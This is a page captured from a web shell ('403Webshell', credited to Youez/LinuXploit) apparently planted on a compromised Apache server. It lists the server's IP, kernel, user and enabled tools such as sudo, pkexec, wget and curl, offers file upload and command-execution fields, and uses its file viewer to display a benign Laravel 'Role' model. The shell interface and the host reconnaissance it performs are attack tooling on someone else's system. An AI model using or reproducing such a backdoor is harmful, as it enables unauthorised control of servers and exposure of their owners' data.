403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/project-slim/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/project-slim/app/Models/Role.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Relations\BelongsToMany;
use Illuminate\Database\Eloquent\Relations\HasMany;

class Role extends BaseModel
{
    /**
     * The table associated with the model.
     */
    protected $table = 'repo_role';

    /**
     * The primary key for the model.
     */
    protected $primaryKey = 'role_id';

    /**
     * The attributes that are mass assignable.
     */
    protected $fillable = [
        'role_name',
        'description'
    ];

    /**
     * The attributes that should be hidden for serialization.
     * Inherits from BaseModel to hide all ID fields
     */
    protected $hidden = [
        'id',
        'role_id',
        'user_id',
        'company_id',
        'report_id',
        'module_id'
    ];

    /**
     * Get the users for the role.
     */
    public function users(): BelongsToMany
    {
        return $this->belongsToMany(
            User::class,
            'repo_user_role',
            'role_id',
            'user_id',
            'role_id',
            'user_id'
        )->withPivot('assigned_at');
    }

    /**
     * Get the modules for the role.
     */
    public function modules(): BelongsToMany
    {
        return $this->belongsToMany(
            Module::class,
            'repo_role_module',
            'role_id',
            'module_id',
            'role_id',
            'module_id'
        );
    }

    /**
     * Check if role has access to a specific module.
     */
    public function hasModuleAccess(string $moduleName): bool
    {
        return $this->modules()->where('module_name', $moduleName)->exists();
    }

    /**
     * Get all module names for this role.
     */
    public function getModuleNames(): array
    {
        return $this->modules()->pluck('module_name')->toArray();
    }

    /**
     * Scope for admin roles.
     */
    public function scopeAdmin($query)
    {
        return $query->where('role_name', 'super_admin');
    }

    /**
     * Scope for customer roles.
     */
    public function scopeCustomer($query)
    {
        return $query->where('role_name', 'customer');
    }

    /**
     * Scope for premium roles.
     */
    public function scopePremium($query)
    {
        return $query->where('role_name', 'cmo_huddler');
    }

    /**
     * Check if this is an admin role.
     */
    public function isAdmin(): bool
    {
        return $this->role_name === 'super_admin';
    }

    /**
     * Check if this is a customer role.
     */
    public function isCustomer(): bool
    {
        return in_array($this->role_name, ['customer', 'cmo_huddler']);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit